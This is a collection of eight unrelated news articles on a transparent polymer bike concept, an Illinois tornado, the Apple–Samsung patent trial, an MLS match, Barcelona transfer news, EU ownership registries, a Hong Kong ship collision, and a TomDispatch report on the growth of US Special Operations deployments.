-This conceptual see-through bike by German studio Designaffairs would be made from the same strong and lightweight plastic used in fighter jet canopies.  The frame of the Clarity Bike would be made from a polymer called Trivex, according to Designaffairs. First developed for helicopter windscreens and fighter jet canopies, Trivex is extremely lightweight but can also withstand high impacts.  The polymer is resistant to very hot and cold temperatures and can also be injection moulded, which would enable mass production at an affordable price and in a variety of shapes and colours.  Trivex is one of more than 2000 material samples collected by Designaffairs to provide a resource for manufacturers, designers and engineers. "What sets our library apart from the other material libraries is the fact that all materials and technologies presented are tailored to meet production-processes' needs," explained Designaffairs' Stefan Ulrich.  Lots of bicycles have been published on Dezeen, most recently a bike with a cardboard frame and wheels and a bike that carries heavy loads front and back.  We've also featured a couple of other projects by Designaffairs – a conceptual hearing aid that forms a flesh tunnel through the wearer's earlobe and an inhaler designed for a future scenario where oxygen is scarce.  The images are visualisations by Designaffairs.  Here's some more information from the designers:  No, this bike is not made out of glass. The Clarity Bike is the next project within the material focus of designaffairs studio projects which focus on using amazing materials of our library in new contexts. We believe that the Clarity Bike could be a giant leap forward in bicycle frame engineering and production. The design takes advantage of an advanced polymer which combines high impact resistance, lightweight properties and a gentle flexibility that usually would only be expected on an old Italian steel frame.  The polymer is injection moulded, which allows affordable and precise mass production while enabling unique form factors and a multitude of possible colour combinations. Initially the polymer was used in military applications. Even though the compound has a lower density than polycarbonate & acrylic its advanced performance includes exceptional impact resistance and ultra-lightweight performance. It also offers outstanding chemical resistance and thermal stability as it is virtually unaffected by most organic and inorganic chemicals and withstands very hot and cold temperatures.  In our understanding the perfect material match for creating a low cost bicycle characterised by convenience and an unmatched unique style.
-Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.  April 10, 2015, 1:49 AM GMT / Updated April 11, 2015, 1:06 AM GMT / Source: NBC News By Elizabeth Chuck, Alex Johnson, Elisha Fieldstadt and Alastair Jamieson  The tornado that left two people dead and dozens of homes destroyed in central Illinois Thursday spanned nearly 20 miles and delivered winds of up to 200 mph, the National Weather Service said Friday, classifying it as an EF4 — the second most intense classification on the tornado rating scale.  In central Illinois, residents were carefully sifting through huge piles of debris in the "absolutely devastated" town of Fairdale, the scene of one of two tornadoes late Thursday. Two people were killed there, according to authorities.  One of the victims was identified Friday as Geraldine M. Schultz, 67. Another woman was discovered Friday afternoon, Illinois Gov. Bruce Rauner said Friday, and identified by the county coroner's office as 69-year-old Jacklyn Klosa. The two women lived next door to each other, according to NBC Chicago. The women were friends and Schultz, known as "Geri," would sometimes drive Klosa to medical appointments, according to The Associated Press.  Nearly every structure in the tiny unincorporated town about 80 miles northwest of Chicago was damaged, said Rockland Fire Department Chief Matt Knott. Some homes were leveled "down to the slabs," he said.  "This town is absolutely devastated," Knott said.  The National Weather Service said the destructive tornado, although accompanied by at least two other twisters, was a “single long track tornado.” The half-mile wide tornado, which carried winds between 180 and 200 mph, was classified as an EF4, according the NWS. Mike Bardou, a meteorologist with the National Weather Service, said EF4 tornadoes only hit the Chicago area about twice a decade.  "We’re very blessed that more people were not hurt," considering the "complete destruction of so many homes with people in them," said Rauner. The governor declared DeKalb and Ogle counties disaster areas Friday. The counties will now receive support from the state.  Ogle County Sheriff Brian Van Vickle said 49 homes in the county had been damaged, including about 30 that had been destroyed. The sheriff's own home was among those that had been completely flattened, he said.  At least 20 people in the community of about 200 residents were taken to the hospital with injuries of various degrees, and six stayed overnight, officials said. One was in serious condition Friday.  Schultz had been in her house, which was "totally destroyed," DeKalb County Coroner Dennis Miller said Friday. The town was not equipped with tornado sirens, he said.  The National Weather Service said Friday that storms damage survey teams “will be deployed to work with emergency management and assess the damage that has occurred.”  Daniel Prothero, who encountered the scene as he was driving through the area, said, "It was horrible."  Power was shut off to Fairdale so search and rescue crews would be safe, said George Gaulrapp, a spokesman for Commonwealth Edison Co., who said, "It looks like a bomb went off."  "It's a tragedy," Gaulrapp said. "We just pray for the families."  Photo Gallery: Survivors Sift Through Tornado Debris  One of the tornadoes destroyed a restaurant and flattened at least four houses in nearby Rochelle, authorities said. About a dozen people who were trapped in the restaurant's basement were believed to have been rescued safely. Any injuries were minor and didn't require ambulances, they said.  Caleb Bryan was driving from his home in Lindenwood to Rochelle when the tornado hit.  "It was a very scary sight, heavy hail beforehand on Route 251 driving to Rochelle," he told NBC News. "As soon as the storm passed, I drove home to make sure it was still there."  RELATED: What's Causing Weird Weather? Blame a Blob of Water  Police told NBC News there was also significant damage in the towns of Kings and Hillcrest. There was no immediate word on injuries there.  More than 900 departures and arrivals were canceled at Chicago's O'Hare International Airport, and more than 950 others were delayed Thursday night.  The tornado was one of several that spun off across Illinois and Iowa on the second day of a monster storm system that peppered a 1,500-mile arc with grapefruit-size hail and winds up to 80 mph from Texas up to the Great Lakes and across to North Carolina.  A separate EF1 tornado hit Summerfield Zoo in Belvidere and killed an emu and a swan, according to the zoo and NWS. Zoo officials said the park sustained $200,000 in damages, but two baby goats were born during the tornado and a swan that survived managed to protect her eggs.  On Friday, the front responsible for the severe weather moved south and east. A funnel cloud was spotted in Charles, Louisiana, on Friday afternoon, and 62 mph winds knocked down trees in Buffalo, New York, according to Weather.com. Maryland and Virginia were at the greatest risk for thunderstorms and possible tornadoes on Friday night, according to the NWS.  NBC News' Emmanuelle Saliba contributed to this report.
-The second U.S. Apple vs. Samsung trial, which is set to start on Monday in San Jose with jury selection, may be even more important for Google than the first case, new reports in The New York Times and The Wall Street Journal reveal. Unlike in the first patent fight between the two smartphone makers when Apple said Samsung copied the design of the iPhone with its devices, Apple is now attacking Samsung solely with patents that cover Android software features. Thus, the verdict in this case is all the more important for Google.  Boston University law lecturer James Bessen told the Times that this second fight is about more than money, with Apple having already agreed to settle in case it only sought money from Samsung – even the $930 million Apple win in the first case is seen as pocket change for both Apple and Samsung, the only companies that are actually making money in the smartphone business. However, “to kill Android with a half-dozen patents,” Bessen said, “just seems like a long shot.”  “Google will be a lot more front and center than in previous cases,” Rutgers University law professor and patent expert Michael Carrier told the Journal. “Google vs. Apple makes it more of a clash of the titans on the same turf.” However, Apple has never directly sued Google, with the two having to face each other in courts only while Motorola became a Google property.  Apple is expected to argue that Samsung copied those software features and then sold millions of Galaxy devices, thus harming iPhone sales and profits. The company will also argue that Samsung is not an innovator but a copycat, and show that the two patents Samsung is using against Apple do not describe software inventions created by Samsung employees, but have been purchased by Samsung from third parties. Apple is asking $2 billion in damages in this trial.  Samsung on the other hand will try to invalidate Apple’s patents, by showing that similar features were developed by Google and others before the iPhone was launched. The company is expected to rely on the testimony of several Google employees including former Android chief Andy Rubin and Google vice president on Android engineering Hiroshi Lockheimer. The company is also expected to argue that Apple’s new claims target other companies as well and hurt the entire smartphone ecosystem, as four of the patents Apple chose for this patent fight describe technology that’s part of Android. Samsung is asking only $7 million in damages, in what may be perceived as a move that goes to show Apple’s damage claims are unrealistic.  Apple and Samsung have been forced to drop the number of patents and claims that can be used in the trial, with Apple settling on five patents and Samsung remaining with just two patents, after dropping standard-essential patents. Unlike in the first case that covered older smartphone models, this new lawsuit includes popular devices like the iPhone 5 and the Galaxy S3, among others, which sold very well in the U.S. in previous years.  Patent experts believe that while the fight is important for the smartphone business, Apple’s damage claims are exaggerated. According to them, it will be difficult for the company to prove that of the quarter of a million of patents that cover tech offered by a smartphone, its five patents are so important to net it $40 per Samsung phone in damages, in case the South Korean giant is found to be infringing on Apple’s patents.
-Highlights: Seattle 2-0 Vancouver  SEATTLE, WA - Playing their third match in this year’s Cascadia Cup, Vancouver Whitecaps FC (10W-9L-7D) suffered a 2-0 away defeat to Pacific Northwest rivals Seattle Sounders FC (11W-6L-7D) in Major League Soccer on Saturday afternoon.  Second-half goals by substitute Fredy Montero and Eddie Johnson gave the home side the victory in front of 55,718 fans, which included over 1,500 supporters from Vancouver, at CenturyLink Field. Playing with an altered line-up from midweek, the ‘Caps looked solid early on before Seattle took control of proceedings during this 115th all-time competitive meeting between these Interstate 5 adversaries.  Victory for Seattle takes them three points clear of Vancouver and into third place in the MLS Western Conference standings. It also takes Sounders FC level on four points with Portland Timbers at the top of the three-club Cascadia Cup standings.  “I think it was an exciting game. Obviously, not the outcome that we wanted, but overall, I felt like the performance through most of the game was pretty good,” said Whitecaps FC head coach Martin Rennie. “I think for us right now, we've got a little bit of adversity missing a couple of key players and players that have come in aren't really match fit yet. However, for me, there's a lot of positive things from today’s game.” POST MATCH  INTERVIEWS:  Rennie was forced into playing a very different line-up from Wednesday’s home loss to FC Dallas. Though the Scottish tactician had players back from international duty, the late news of Barry Robson’s suspension meant a total of four changes had to be made to his starting XI in The Emerald City.  Despite the changes, Whitecaps FC showed no effects of being overawed by the large crowd, as the visitors imposed themselves on their hosts by creating several chances in the first half.  Fresh back from his senior international debut with Jamaica in midweek, Darren Mattocks caused the Seattle backline problems. The youngster created two fine chances, with his best effort rolling across the face of the Sounders FC goal around the midway point of the opening half.  While Carlyle Mitchell and Andy O’Brien looked assured at the back for Vancouver, Gershon Koffie and Kenny Miller went close to opening up the Rave Green with chances before the break. Though they struggled in spells, Seattle created first-half chances that forced Whitecaps FC goalkeeper Joe Cannon to make saves on strikes from Johnson and midfielder Brad Evans. Then on 38 minutes, Alex Caskey was unable to find the target for the home side.  BLOG: The silver lining of a tough day in Seattle  While the Blue and White would have been pleased with their efforts to halftime, it was Seattle that made the right adjustments and look the stronger side after the break. Osvaldo Alonso had two chances for Sounders FC that Cannon and Mitchell had to block away, while an unmarked Johnson missed the target at close range on 53 minutes.  The turning point of this derby contest arrived after the hour mark when Seattle’s talented Colombian Montero entered the match for Caskey. On 64 minutes, his presence proved decisive, as the South American scored his eighth goal of the season, converting Jeff Parke’s knockdown of a Mauro Rosales’ free kick in the Vancouver box for 1-0.  It was a disappointing goal to concede for Whitecaps FC, and it forced the visitors to press forward in search of an equalizer. Alain Rochat just missed the target with a header from a Young-Pyo Lee cross on 67 minutes, while Mattocks found the back of the Seattle net on 81 minutes. However, the ‘Caps striker was adjudged to have fouled Parke before converting Dane Richards’ fine cross in front of the Sounders FC goal.  Having been in numerous positions to score on Saturday, Johnson eventually found the scoresheet with his club-leading 11th goal of the season on 87 minutes. Alonso found an unmarked Evans on the right flank with a forward ball. His low cross allowed a streaking Johnson to slot home at the far post and secure a two-goal victory for Seattle.  It was a disheartening way for Whitecaps FC to fall to defeat to their arch-rivals in The Emerald City, but they will have the next week to try and end a two-match losing streak when they visit another Cascadia Cup rival in Portland for a second time this season on Saturday night.
-Luis Enrique has reiterated that he wants Pedro to stay at Barcelona but said the decision will be solely down to the player.  Pedro, 28, has been strongly linked with Manchester United and AS has reported that negotiations for the Spain international began on Monday.  While there have been conflicting claims as to whether Pedro's contract contains a clause permitting him to leave for €30 million, it has been widely reported that the Spain international would be allowed to move on if Barca received a bid of that value.  United boss Louis van Gaal has given a strong indication that he wants to sign Pedro, and the forward's mother is said to have told reporters that he is set to leave the Camp Nou for England, but Luis Enrique told a news conference on Tuesday that he would like to keep him if possible.  "Pedro is a world-class player," he said in quotes reported by Marca. "He's shown how good he is for both club and country. Speaking as a coach, I want him to stay. Nothing has changed. Any changes will be dictated by him."  Pedro is expected to join Manchester United this summer.  With Barca unable to register any new signings until January, Pedro's departure could leave the club short of options if they were to suffer injuries or suspensions in attack.  However, the Barca coach said: "I don't like looking at 'what ifs,' especially when they're on a negative note. I prefer to think that things will carry on as usual.  "We're ready to deal with any situation that may arise during the coming season."  He added: "There will be no new signings and players will only leave if they wish to go."  Javier Mascherano has also been linked with a move away from Barca, with Tuttosport reporting that Juventus are keen on the Argentina international and that the player himself is keen on a move to Italy.  However, Mascherano remains a key figure at the Camp Nou and has just been elected Barca's fourth captain by his teammates.  "There are other players who could captain the side, but he was chosen by the players and that's how I like it," Luis Enrique said. "There are other players who, without being captains, have a voice inside the dressing room."
-While Canada holds meetings and talks about it, the EU has officially ended corporate secrecy. The anonymous and numbered companies that facilitate tax evasion and money laundering in Europe will soon have their ownership published in public, online registries for all to see.  The EU declared Friday that member states will have to put the names of those who own companies registered in their countries into a public, searchable, online database — and they have 18 months to do it. ( DMITRY KOSTYUKOV / The New York Times file photo )  Eighteen months after the U.K. established the world’s first public “beneficial ownership” registry, the EU declared on Friday that it will follow suit, citing the Panama Papers leak as having prompted the move. “The EU has made a major breakthrough tonight in the fight against money laundering by getting the beneficial owners of companies out of the shadows,” said Laure Brillaud, the anti-money laundering policy officer at Transparency International EU. EU member states will have to put the names of those who own companies registered in their countries into a public, searchable, online database — and they have 18 months to do it.  Article Continued Below  “The new European public registers of company beneficial ownership will set the new global benchmark against which to assess every other country around the world,” Brillaud said. Read more: Canada’s 102 biggest corporations avoid billions in taxes each year, paying far less than the official rate Contacted for comment, the federal finance ministry said it “takes note” of the EU registry. “We will monitor the EU agreement closely as it will inform the ongoing work of the federal, provincial and territorial working group on beneficial ownership,” wrote spokesperson Chloé Luciani-Girouard. “What the EU is doing is a very significant step. This practice has to come to North America,” said Richard Leblanc, a professor of corporate governance at York and Harvard universities. “One should not be able to hide behind a web of numbered companies without disclosing true ownership.”  In last spring’s federal budget, Canada announced that it would put in place a “national strategy to strengthen the transparency” of corporate ownership. After meeting last weekend, federal and provincial finance ministers committed to requiring companies to collect and keep corporate ownership information on hand, but did not say they would establish an ownership registry, let alone make it public.  Article Continued Below  “That’s a first step, but it’s wholly inadequate so far as transparency is concerned,” Leblanc said. “What good is compelling disclosure if you can’t access it?” In Canada, secrecy around corporate ownership makes it possible to register a corporation, open a bank account, and send and receive money overseas all without disclosing one’s name — the same kind of secrecy offered by traditional tax havens. A Star/CBC investigation earlier this year showed how this has led some foreigners to use Canada to “snow wash” money that has either been obtained illicitly, or not declared to tax authorities. Earlier this month, the EU also released a blacklist of non-cooperative tax havens, including Barbados, one of the most popular tax havens used by Canadian companies. This diplomatic effort to exert pressure on tax havens to disclose the owners of offshore companies is an international component of the domestic ownership registry, Leblanc said. “Canada will be increasingly anomalous if it doesn’t follow suit,” he said. “We want it to be a race to the top. Canada prides itself on transparency and good governance. We’re slipping behind. We need to catch up.”
-HONG KONG, May 5 (Reuters) - Eleven crew of a Chinese cargo ship are missing following a collision with a large container ship in the waters off Hong Kong on Monday, authorities said.  Hong Kong is one of the world’s busiest shipping channels, although serious accidents are rare.  The cargo ship Zhong Xing 2 sank after the collision with the 300-m- (984-ft-) long Marshall Islands-registered MOL Motivator about two nautical miles southwest of Po Toi Island, a spokeswoman of the Hong Kong Maritime Department said.  “Zhong Xing 2 is suspected to have sunk after the collision, and it is reported there are 12 crew onboard,” said the spokeswoman, who declined to be identified in line with department policy.  “One of them was picked up by a fishing vessel navigating close by,” she added. The remaining 11 crew of the Chinese ship were reported missing.  Rescue efforts were being co-ordinated by the Guangdong Rescue Co-ordination Centre as the incident happened outside Hong Kong waters, the spokeswoman said.  Hong Kong’s Marine Rescue Co-ordination Centre is assisting the rescue and has deployed one helicopter, five marine police launches and three fire service department launches.  MOL Motivator, which has a dry weight tonnage of 79,400 tonnes according to Thomson Reuters data, was travelling from Hong Kong to Yantian port in southern China.  Hong Kong is the world’s fourth largest container port, after neighbouring Shenzhen, which occupies third place.  Vessels navigating near the collision site have been warned there may be a sunken ship nearby and have been asked to stay away.  The Hong Kong Observatory issued an amber rain warning, signalling expectations of heavy rain in parts of the territory overnight.  Thirty-nine people died in the city’s worst maritime disaster in more than 40 years in October 2012 when a high-speed ferry and a pleasure boat collided. (Reporting by Alice Woodhouse; Editing by Clarence Fernandez)
-It was an impressive effort: a front-page New York Times story about a “new way of war” with the bylines of six reporters, and two more and a team of researchers cited at the end of the piece. “They have plotted deadly missions from secret bases in the badlands of Somalia. In Afghanistan, they have engaged in combat so intimate that they have emerged soaked in blood that was not their own. On clandestine raids in the dead of the night, their weapons of choice have ranged from customized carbines to primeval tomahawks.” So began the Times investigation of SEAL Team 6, its nonstop missions, its weaponry, its culture, the stresses and strains its “warriors” have experienced in recent years, and even some of the accusations leveled against them. (“Afghan villagers and a British commander accused SEALs of indiscriminately killing men in one hamlet.”)  For all the secrecy surrounding SEAL Team 6, it has been the public face of America’s Special Operations forces and so has garnered massive attention, especially, of course, after some of its members killed Osama bin Laden on a raid in Abbottabad, Pakistan, in 2011. It even won a starring role in the Oscar-winning Hollywood film Zero Dark Thirty, produced with CIA help, about the tracking down of bin Laden. As a unit, however, SEAL Team 6 is “roughly 300 assault troops, called operators, and 1,500 support personnel”; in other words, more or less a drop in the bucket when it comes to America’s Special Operations forces. And its story, however nonstop and dramatic, is similarly a drop in the bucket when it comes to the flood of special operations actions in these years.  While SEAL Team 6 has received extensive coverage, what could be considered the military story of the twenty-first century, the massive, ongoing expansion of a secret force (functionally the president’s private army) cocooned inside the U.S. military -- now at almost 70,000 personnel and growing -- has gotten next to none. Keep in mind that such a force is already larger than the active-duty militaries of Australia, Chile, Cuba, Hungary, the Netherlands, Nigeria, and South Africa, among a bevy of other countries. If those 70,000 personnel engaging in operations across the planet -- even their most mundane acts enveloped in a blanket of secrecy -- have created, as the Times suggests, a new way of war in and out of Washington’s war zones, it has gone largely unreported in the American media.  Thanks to Nick Turse (and Andrew Bacevich), however, TomDispatch has been the exception to this seemingly ironclad rule. Since 2011, when he found special operations units deployed to 120 countries annually, Turse has continued to chart their expanding global role in 2012, 2014, and this year. He has also tried, as today, to assess just how successful this new way of war that melds the soldier and the spy, the counterinsurgent and the guerrilla, the drone assassin and the “man-hunter” has been. Imagine for a moment the resources that the media would apply to such an analogous Russian or Chinese force, if its units covertly trained “friendly” militaries or went into action yearly in at least two-thirds of the countries on the planet. Tom  These men -- and they are mostly men -- belong to an exclusive military fraternity that traces its heritage back to the birth of the nation. Typically, they’ve spent the better part of a decade as more conventional soldiers, sailors, marines, or airmen before making the cut. They’ve probably been deployed overseas four to 10 times. The officers are generally approaching their mid-thirties; the enlisted men, their late twenties. They’ve had more schooling than most in the military. They’re likely to be married with a couple of kids. And day after day, they carry out shadowy missions over much of the planet: sometimes covert raids, more often hush-hush training exercises from Chad to Uganda , Bahrain to Saudi Arabia, Albania to Romania, Bangladesh to Sri Lanka, Belize to Uruguay. They belong to the Special Operations forces (SOF), America’s most elite troops -- Army Green Berets and Navy SEALs, among others -- and odds are, if you throw a dart at a world map or stop a spinning globe with your index finger and don’t hit water, they’ve been there sometime in 2015.  You can find them in dusty, sunbaked badlands, moist tropical forests, and the salty spray of third-world littorals. Standing in judgement, buffeted by the rotor wash of a helicopter or sweltering beneath the relentless desert sun, they instruct , yell , and cajole as skinnier men playact under their watchful eyes . In many places, more than their particular brand of camouflage, better boots, and designer gear sets them apart. Their days are scented by stale sweat and gunpowder; their nights are spent in rustic locales or third-world bars .  The Wide World of Special Ops  This year, U.S. Special Operations forces have already deployed to 135 nations, according to Ken McGraw, a spokesman for Special Operations Command (SOCOM). That’s roughly 70% of the countries on the planet. Every day, in fact, America’s most elite troops are carrying out missions in 80 to 90 nations, practicing night raids or sometimes conducting them for real, engaging in sniper training or sometimes actually gunning down enemies from afar. As part of a global engagement strategy of endless hush-hush operations conducted on every continent but Antarctica, they have now eclipsed the number and range of special ops missions undertaken at the height of the conflicts in Iraq and Afghanistan.  In the waning days of the Bush administration, Special Operations forces (SOF) were reportedly deployed in only about 60 nations around the world. By 2010, according to the Washington Post, that number had swelled to 75. Three years later, it had jumped to 134 nations, “slipping” to 133 last year, before reaching a new record of 135 this summer. This 80% increase over the last five years is indicative of SOCOM’s exponential expansion which first shifted into high gear following the 9/11 attacks.  Special Operations Command’s funding, for example, has more than tripled from about $3 billion in 2001 to nearly $10 billion in 2014 “constant dollars,” according to the Government Accountability Office (GAO). And this doesn’t include funding from the various service branches, which SOCOM estimates at around another $8 billion annually, or other undisclosed sums that the GAO was unable to track. The average number of Special Operations forces deployed overseas has nearly tripled during these same years, while SOCOM more than doubled its personnel from about 33,000 in 2001 to nearly 70,000 now.  Each day, according to SOCOM commander General Joseph Votel, approximately 11,000 special operators are deployed or stationed outside the United States with many more on standby, ready to respond in the event of an overseas crisis. “I think a lot of our resources are focused in Iraq and in the Middle East, in Syria for right now. That's really where our head has been,” Votel told the Aspen Security Forum in July. Still, he insisted his troops were not “doing anything on the ground in Syria” -- even if they had carried out a night raid there a couple of months before and it was later revealed that they are involved in a covert campaign of drone strikes in that country.  “I think we are increasing our focus on Eastern Europe at this time,” he added. “At the same time we continue to provide some level of support on South America for Colombia and the other interests that we have down there. And then of course we're engaged out in the Pacific with a lot of our partners, reassuring them and working those relationships and maintaining our presence out there.”  In reality, the average percentage of Special Operations forces deployed to the Greater Middle East has decreased in recent years. Back in 2006, 85% of special operators were deployed in support of Central Command or CENTCOM, the geographic combatant command (GCC) that oversees operations in the region. By last year, that number had dropped to 69%, according to GAO figures. Over that same span, Northern Command -- devoted to homeland defense -- held steady at 1%, European Command (EUCOM) doubled its percentage, from 3% to 6%, Pacific Command (PACOM) increased from 7% to 10%, and Southern Command, which overseas Central and South America as well as the Caribbean, inched up from 3% to 4%. The largest increase, however, was in a region conspicuously absent from Votel’s rundown of special ops deployments. In 2006, just 1% of the special operators deployed abroad were sent to Africa Command’s area of operations. Last year, it was 10%.  Click here to see a larger version  A member of the U.S. Special Operations forces guides two soldiers from Cameroon’s 3rd Battalion Intervention Rapid (BIR) during a 2013 training event. (Photo by Air Force Master Sgt. Larry W. Carpenter Jr.)  Globetrotting is SOCOM’s stock in trade and, not coincidentally, it’s divided into a collection of planet-girding “sub-unified commands”: the self-explanatory SOCAFRICA; SOCEUR, the European contingent; SOCCENT, the sub-unified command of CENTCOM; SOCKOR, which is devoted strictly to Korea; SOCPAC, which covers the rest of the Asia-Pacific region; SOCSOUTH, which conducts missions in Central America, South America, and the Caribbean; SOCNORTH, which is devoted to “homeland defense”; and the ever-itinerant Joint Special Operations Command or JSOC, a clandestine sub-command (formerly headed by Votel) made up of personnel from each service branch, including SEALs, Air Force special tactics airmen, and the Army's Delta Force that specializes in tracking and killing suspected terrorists.  The elite of the elite in the special ops community, JSOC takes on covert, clandestine, and low-visibility operations in the hottest of hot spots. Some covert ops that have come to light in recent years include a host of Delta Force missions: among them, an operation in May in which members of the elite force killed an Islamic State commander known as Abu Sayyaf during a night raid in Syria; the 2014 release of long-time Taliban prisoner Army Sergeant Bowe Bergdahl; the capture of Ahmed Abu Khattala, a suspect in 2012 terror attacks in Benghazi, Libya; and the 2013 abduction of Anas al-Libi, an al-Qaeda militant, off a street in that same country. Similarly, Navy SEALs have, among other operations, carried out successful hostage rescue missions in Afghanistan and Somalia in 2012; a disastrous one in Yemen in 2014; a 2013 kidnap raid in Somalia that went awry; and -- that same year -- a failed evacuation mission in South Sudan in which three SEALs were wounded when their aircraft was hit by small arms fire.  SOCOM’s SOF Alphabet Soup  Most deployments have, however, been training missions designed to tutor proxies and forge stronger ties with allies. “Special Operations forces provide individual-level training, unit-level training, and formal classroom training,” explains SOCOM’s Ken McGraw. “Individual training can be in subjects like basic rifle marksmanship, land navigation, airborne operations, and first aid. They provide unit-level training in subjects like small unit tactics, counterterrorism operations and maritime operations. SOF can also provide formal classroom training in subjects like the military decision-making process or staff planning.”  From 2012 to 2014, for instance, Special Operations forces carried out 500 Joint Combined Exchange Training (JCET) missions in as many as 67 countries each year. JCETs are officially devoted to training U.S. forces, but they nonetheless serve as a key facet of SOCOM’s global engagement strategy. The missions “foster key military partnerships with foreign militaries, enhance partner-nations' capability to provide for their own defense, and build interoperability between U.S. SOF and partner-nation forces,” according to SOCOM’s McGraw.  And JCETs are just a fraction of the story. SOCOM carries out many other multinational overseas training operations. According to data from the Office of the Under Secretary of Defense (Comptroller), for example, Special Operations forces conducted 75 training exercises in 30 countries in 2014. The numbers were projected to jump to 98 exercises in 34 countries by the end of this year.  “SOCOM places a premium on international partnerships and building their capacity. Today, SOCOM has persistent partnerships with about 60 countries through our Special Operations Forces Liaison Elements and Joint Planning and Advisory Teams,” said SOCOM’s Votel at a conference earlier this year, drawing attention to two of the many types of shadowy Special Ops entities that operate overseas. These SOFLEs and JPATs belong to a mind-bending alphabet soup of special ops entities operating around the globe, a jumble of opaque acronyms and stilted abbreviations masking a secret world of clandestine efforts often conducted in the shadows in impoverished lands ruled by problematic regimes. The proliferation of this bewildering SOCOM shorthand -- SOJTFs and CJSOTFs, SOCCEs and SOLEs -- mirrors the relentless expansion of the command, with its signature brand of military speak or milspeak proving as indecipherable to most Americans as its missions are secret from them.  Around the world, you can find Special Operations Joint Task Forces (SOJTFs), Combined Joint Special Operations Task Forces (CJSOTFs), and Joint Special Operations Task Forces (JSOTFs), Theater Special Operations Commands (TSOCs), as well as Special Operations Command and Control Elements (SOCCEs) and Special Operations Liaison Elements (SOLEs). And that list doesn’t even include Special Operations Command Forward (SOC FWD) elements -- small teams which, according to the military, “shape and coordinate special operations forces security cooperation and engagement in support of theater special operations command, geographic combatant command, and country team goals and objectives.”  Special Operations Command will not divulge the locations or even a simple count of its SOC FWDs for “security reasons.” When asked how releasing only the number could imperil security, SOCOM’s Ken McGraw was typically opaque. “The information is classified,” he responded. “I am not the classification authority for that information so I do not know the specifics of why the information is classified.” Open source data suggests, however, that they are clustered in favored black ops stomping grounds, including SOC FWD Pakistan, SOC FWD Yemen, and SOC FWD Lebanon, as well as SOC FWD East Africa, SOC FWD Central Africa, and SOC FWD West Africa.  Click here to see a larger version  A U.S. Army Special Forces soldier readies himself to jump out of a C-130J Super Hercules over Hurlburt Field, Fla., March 3, 2012. (U.S. Air Force photo by Staff Sgt. Jonathan Snyder)  What’s clear is that SOCOM prefers to operate in the shadows while its personnel and missions expand globally to little notice or attention. “The key thing that SOCOM brings to the table is that we are -- we think of ourselves -- as a global force. We support the geographic combatant commanders, but we are not bound by the artificial boundaries that normally define the regional areas in which they operate. So what we try to do is we try to operate across those boundaries,” SOCOM’s Votel told the Aspen Security Forum.  In one particular blurring of boundaries, Special Operations liaison officers (SOLOs) are embedded in at least 14 key U.S. embassies to assist in advising the special forces of various allied nations. Already operating in Australia, Brazil, Canada, Colombia, El Salvador, France, Israel, Italy, Jordan, Kenya, Poland, Peru, Turkey, and the United Kingdom, the SOLO program is poised, according to Votel, to expand to 40 countries by 2019. The command, and especially JSOC, has also forged close ties with the Central Intelligence Agency, the Federal Bureau of Investigation, and the National Security Agency, among other outfits, through the use of liaison officers and Special Operations Support Teams (SOSTs).  “In today’s environment, our effectiveness is directly tied to our ability to operate with domestic and international partners. We, as a joint force, must continue to institutionalize interoperability, integration, and interdependence between conventional forces and special operations forces through doctrine, training, and operational deployments,” Votel told the Senate Armed Services Committee this spring. “From working with indigenous forces and local governments to improve local security, to high-risk counterterrorism operations -- SOF are in vital roles performing essential tasks.”  SOCOM will not name the 135 countries in which America’s most elite forces were deployed this year, let alone disclose the nature of those operations. Most were, undoubtedly, training efforts. Documents obtained from the Pentagon via the Freedom of Information Act outlining Joint Combined Exchange Training in 2013 offer an indication of what Special Operations forces do on a daily basis and also what skills are deemed necessary for their real-world missions: combat marksmanship, patrolling, weapons training, small unit tactics, special operations in urban terrain, close quarters combat, advanced marksmanship, sniper employment, long-range shooting, deliberate attack, and heavy weapons employment, in addition to combat casualty care, human rights awareness, land navigation, and mission planning, among others.  From Joint Special Operations Task Force-Juniper Shield, which operates in Africa’s Trans-Sahara region, and Special Operations Command and Control Element-Horn of Africa, to Army Special Operations Forces Liaison Element-Korea and Combined Joint Special Operations Task Force-Arabian Peninsula, the global growth of SOF missions has been breathtaking. SEALs or Green Berets, Delta Force operators or Air Commandos, they are constantly taking on what Votel likes to call the “nation’s most complex, demanding, and high-risk challenges.”  These forces carry out operations almost entirely unknown to the American taxpayers who fund them, operations conducted far from the scrutiny of the media or meaningful outside oversight of any kind. Everyday, in around 80 or more countries that Special Operations Command will not name, they undertake missions the command refuses to talk about. They exist in a secret world of obtuse acronyms and shadowy efforts, of mystery missions kept secret from the American public, not to mention most of the citizens of the 135 nations where they’ve been deployed this year.  This summer, when Votel commented that more special ops troops are deployed to more locations and are conducting more operations than at the height of the Afghan and Iraq wars, he drew attention to two conflicts in which those forces played major roles that have not turned out well for the United States. Consider that symbolic of what the bulking up of his command has meant in these years.  “Ultimately, the best indicator of our success will be the success of the [geographic combatant commands],” says the special ops chief, but with U.S. setbacks in Africa Command’s area of operations from Mali and Nigeria to Burkina Faso and Cameroon; in Central Command’s bailiwick from Iraq and Afghanistan to Yemen and Syria; in the PACOM region vis-à-vis China; and perhaps even in the EUCOM area of operations due to Russia, it’s far from clear what successes can be attributed to the ever-expanding secret operations of America’s secret military. The special ops commander seems resigned to the very real limitations of what his secretive but much-ballyhooed, highly-trained, well-funded, heavily-armed operators can do.  “We can buy space, we can buy time,” says Votel, stressing that SOCOM can “play a very, very key role” in countering “violent extremism,” but only up to a point -- and that point seems to fall strikingly short of anything resembling victory or even significant foreign policy success. “Ultimately, you know, problems like we see in Iraq and Syria,” he says, “aren't going to be resolved by us.”  Nick Turse is the managing editor of TomDispatch.com and a fellow at the Nation Institute. A 2014 Izzy Award and American Book Award winner for his book Kill Anything That Moves, he has reported from the Middle East, Southeast Asia, and Africa and his pieces have appeared in the New York Times, the Intercept, the San Francisco Chronicle, the Nation, and regularly at TomDispatch. His latest book is Tomorrow's Battlefield: U.S. Proxy Wars and Secret Ops in Africa.  Follow TomDispatch on Twitter and join us on Facebook. Check out the newest Dispatch Book, Nick Turse’s Tomorrow’s Battlefield: U.S. Proxy Wars and Secret Ops in Africa, and Tom Engelhardt's latest book, Shadow Government: Surveillance, Secret Wars, and a Global Security State in a Single-Superpower World.  Copyright 2015 Nick Turse
